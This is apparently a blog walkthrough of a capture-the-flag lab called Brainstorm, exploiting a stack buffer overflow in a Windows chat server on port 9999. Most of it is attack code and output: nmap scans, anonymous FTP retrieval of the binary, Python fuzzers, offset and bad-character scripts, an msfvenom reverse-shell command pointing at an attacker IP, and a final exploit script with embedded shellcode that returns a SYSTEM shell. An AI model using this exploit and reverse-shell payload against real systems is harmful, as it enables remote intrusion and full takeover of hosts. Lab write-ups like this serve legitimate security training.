BLOG

BrainStorm Walkthrough

$ nmap -p0-65535 10.10.75.58 -T5 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 18:09 IST
Nmap scan report for 10.10.75.58
Host is up (0.16s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 213.85 seconds

How many Port are open? Ans. 6 (even though there are three ports open, the answer is six)

$ nmap -sV -sC -p21,3389,9999 10.10.75.58 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 18:22 IST
Nmap scan report for 10.10.75.58
Host is up (0.16s latency).

PORT     STATE SERVICE        VERSION
21/tcp   open  ftp            Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_  SYST: Windows_NT
3389/tcp open  ms-wbt-server?
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2021-07-13T12:03:09
|_Not valid after:  2022-01-12T12:03:09
|_ssl-date: 2021-07-14T12:55:31+00:00; 0s from scanner time.
9999/tcp open  abyss?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL:
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=7/14%Time=60EEDE08%P=x86_64-pc-linux-gnu%r(NU
SF:LL,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter
SF:\x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequest
SF:,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x
SF:20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20mes
SF:sage:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(
SF:beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20character
SF:s\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x2
SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern
SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(J
SF:avaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e
SF:nter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\
SF:x20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20cha
SF:t\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20ch
SF:aracters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x
SF:20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20user
SF:name\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(
SF:RPCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x2
SF:0enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20
SF:a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainst
SF:orm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x
SF:2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusReques
SF:tTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ent
SF:er\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x2
SF:0message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(bet
SF:a\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\)
SF::\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x20
SF:Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20
SF:\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Terminal
SF:ServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPleas
SF:e\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write
SF:\x20a\x20message:\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.32 seconds

Lets check whats on FTP

$ ftp 10.10.75.58
Connected to 10.10.75.58.
220 Microsoft FTP Service
Name (10.10.75.58:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19  08:36PM       <DIR>          chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-29-19  10:26PM                43747 chatserver.exe
08-29-19  10:27PM                30761 essfunc.dll
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
mget chatserver.exe? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
43747 bytes received in 0.88 secs (48.4136 kB/s)
mget essfunc.dll? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
30761 bytes received in 0.83 secs (36.2713 kB/s)
ftp> quit
221 Goodbye.

We got a binary and one supporting dll.

RDP useful for bruteforce attack. Lets keep it as last resort

$ nc -nv 10.10.75.58 9999
(UNKNOWN) [10.10.75.58] 9999 (?) open
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): brainstorm
Write a message: hello


Wed Jul 14 06:03:46 2021
brainstorm said: hello


Write a message:  hi


Wed Jul 14 06:03:50 2021
brainstorm said: hi


Write a message:  hehe


Wed Jul 14 06:03:56 2021
brainstorm said: hehe


Write a message:

Brainstorm chat application is running on port 9999.

From FTP, we got two files lets deploy them in local lab and find BOF’s

Using Spike Tool

BrainStorm.spk

$ cat BrainStorm.spk
s_readline();
s_string("Please enter your username (max 20 characters): ");
s_string_variable("test");

Running the spike tool

$ generic_send_tcp 192.168.30.133 9999 ./BrainStorm.spk 0 0

By Python fuzzing

#!/usr/bin/env python3

import socket, time, sys

ip = "192.168.30.133"

port = 9999

timeout = 5

# For user promt
user = b"brainstorm\r\n"

# For message prompt
message = b"A" * 500


while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(message)))
      s.send(user)
      s.recv(1024)
      s.send(message)
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(message)))
    sys.exit(0)
  message += b"A"*500
  time.sleep(1)
$ ./fuzzy.py
Fuzzing with 500 bytes
Fuzzing with 1000 bytes
Fuzzing with 1500 bytes
Fuzzing with 2000 bytes
Fuzzing with 2500 bytes
Fuzzing crashed at 3000 bytes

Fuzzy

checking crash with rough bytes

#!/usr/bin/env python3

import socket


ip = "192.168.30.133"
port = 9999

total_length = 3000

username = b"brainstorm\r\n"

payload = [
        b"A"*total_length,
]

payload = b"".join(payload)

s = socket.socket()
s.connect( (ip,  port))
s.send(username)
s.recv(1024)
s.send(payload)
s.recv(1024)

s.close()

Finding the offset

$ msf-pattern_create -l 3000

Running the Script

#!/usr/bin/env python3

import socket


ip = "192.168.30.133"
port = 9999

total_length = 3000

user = b"brainstorm\r\n"

offset = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

s = socket.socket()
s.connect((ip, port))
s.send(user)
s.recv(1024)
s.send(offset)
s.recv(1024)

s.close()

EIP

$ msf-pattern_offset -l 3000 -q 31704330
[*] Exact match at offset 2012

We got the offset as 2012

Lets check whether the offset is correct

#!/usr/bin/env python3

import socket

ip = "192.168.30.133"
port = 9999

user = b"brainstorm\r\n"

total_length = 3000

offset=2012

EIP=b"BBBB"

payload = [ b"A"*offset,
            EIP,
            b"C"*int(total_length-offset-len(EIP))
]

payload = b"".join(payload)

s = socket.socket()
s.connect( (ip, port))
s.recv(1024)
s.send(user)
s.recv(1024)
s.send(payload)
s.recv(1024)
s.close()

Correctoffset

Offset is correct.

Lets find Bad Characters


!mona bytearray -b "\x00"

monabytearray

Running the script.

#!/usr/bin/env python3

import socket

ip = "192.168.30.133"
port = 9999

user = b"brainstorm\r\n"

total_length = 3000

offset=2012

EIP=b"BBBB"

allchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = [ b"A"*offset,
        EIP,
        allchars,
        b"C"*int(total_length - offset - len(EIP) - len(allchars))
]

payload = b"".join(payload)

s = socket.socket()
s.connect( (ip, port))
s.recv(1024)
s.send(user)
s.recv(1024)
s.send(payload)
s.recv(1024)
s.close()

Comparing bad chars.

!mona compare -f C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin -a 0242EEC0

espbadchars

we have only one bad char and its null byte

nobadchars

Finding address to jump using EIP to ESP

!mona jmp -r esp -cpb "\x00"

EIPJMPESP

By using one of the address we can jump to ESP using instruction pointer


Creating Payload

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.30.128 LPORT=9898 -b "\x00" -f py -->> change the ip to 'thm' tun0 ip

Final Payload Script

#!/usr/bin/env python3

import socket
import struct

ip = "192.168.30.133" -> change this target IP
port = 9999

username = b"brainstorm\r\n"

total_length = 3000

offset=2012

NEW_EIP = struct.pack("<I", 0x625014df)

nop_ramp = b"\x90" * 16


#EIP=b"BBBB"


buf =  b"" 
buf += b"\xdb\xd4\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x52\xbf\x13"
buf += b"\x7b\x2c\xed\x31\x7a\x17\x03\x7a\x17\x83\xd1\x7f\xce"
buf += b"\x18\x29\x97\x8c\xe3\xd1\x68\xf1\x6a\x34\x59\x31\x08"
buf += b"\x3d\xca\x81\x5a\x13\xe7\x6a\x0e\x87\x7c\x1e\x87\xa8"
buf += b"\x35\x95\xf1\x87\xc6\x86\xc2\x86\x44\xd5\x16\x68\x74"
buf += b"\x16\x6b\x69\xb1\x4b\x86\x3b\x6a\x07\x35\xab\x1f\x5d"
buf += b"\x86\x40\x53\x73\x8e\xb5\x24\x72\xbf\x68\x3e\x2d\x1f"
buf += b"\x8b\x93\x45\x16\x93\xf0\x60\xe0\x28\xc2\x1f\xf3\xf8"
buf += b"\x1a\xdf\x58\xc5\x92\x12\xa0\x02\x14\xcd\xd7\x7a\x66"
buf += b"\x70\xe0\xb9\x14\xae\x65\x59\xbe\x25\xdd\x85\x3e\xe9"
buf += b"\xb8\x4e\x4c\x46\xce\x08\x51\x59\x03\x23\x6d\xd2\xa2"
buf += b"\xe3\xe7\xa0\x80\x27\xa3\x73\xa8\x7e\x09\xd5\xd5\x60"
buf += b"\xf2\x8a\x73\xeb\x1f\xde\x09\xb6\x77\x13\x20\x48\x88"
buf += b"\x3b\x33\x3b\xba\xe4\xef\xd3\xf6\x6d\x36\x24\xf8\x47"
buf += b"\x8e\xba\x07\x68\xef\x93\xc3\x3c\xbf\x8b\xe2\x3c\x54"
buf += b"\x4b\x0a\xe9\xfb\x1b\xa4\x42\xbc\xcb\x04\x33\x54\x01"
buf += b"\x8b\x6c\x44\x2a\x41\x05\xef\xd1\x02\xea\x58\xc7\x52"
buf += b"\x82\x9a\xf7\x74\xf9\x12\x11\x12\xed\x72\x8a\x8b\x94"
buf += b"\xde\x40\x2d\x58\xf5\x2d\x6d\xd2\xfa\xd2\x20\x13\x76"
buf += b"\xc0\xd5\xd3\xcd\xba\x70\xeb\xfb\xd2\x1f\x7e\x60\x22"
buf += b"\x69\x63\x3f\x75\x3e\x55\x36\x13\xd2\xcc\xe0\x01\x2f"
buf += b"\x88\xcb\x81\xf4\x69\xd5\x08\x78\xd5\xf1\x1a\x44\xd6"
buf += b"\xbd\x4e\x18\x81\x6b\x38\xde\x7b\xda\x92\x88\xd0\xb4"
buf += b"\x72\x4c\x1b\x07\x04\x51\x76\xf1\xe8\xe0\x2f\x44\x17"
buf += b"\xcc\xa7\x40\x60\x30\x58\xae\xbb\xf0\x68\xe5\xe1\x51"
buf += b"\xe1\xa0\x70\xe0\x6c\x53\xaf\x27\x89\xd0\x45\xd8\x6e"
buf += b"\xc8\x2c\xdd\x2b\x4e\xdd\xaf\x24\x3b\xe1\x1c\x44\x6e"

shellcode = buf

payload = [ b"A"*offset,
        NEW_EIP,
        nop_ramp,
        shellcode,
        b"C"*int(total_length - offset - len(NEW_EIP) - len(nop_ramp) - len(shellcode))
]

payyload = b"".join(payload)
s=socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(username)
s.recv(1024)
s.send(payyload)

s.close()

Getting Root flag.

By creating payload w.r.t tun0 ip, updating payload in the script and changing the ip in script to target ip.

Let’s run the script

ntauthority

roottxt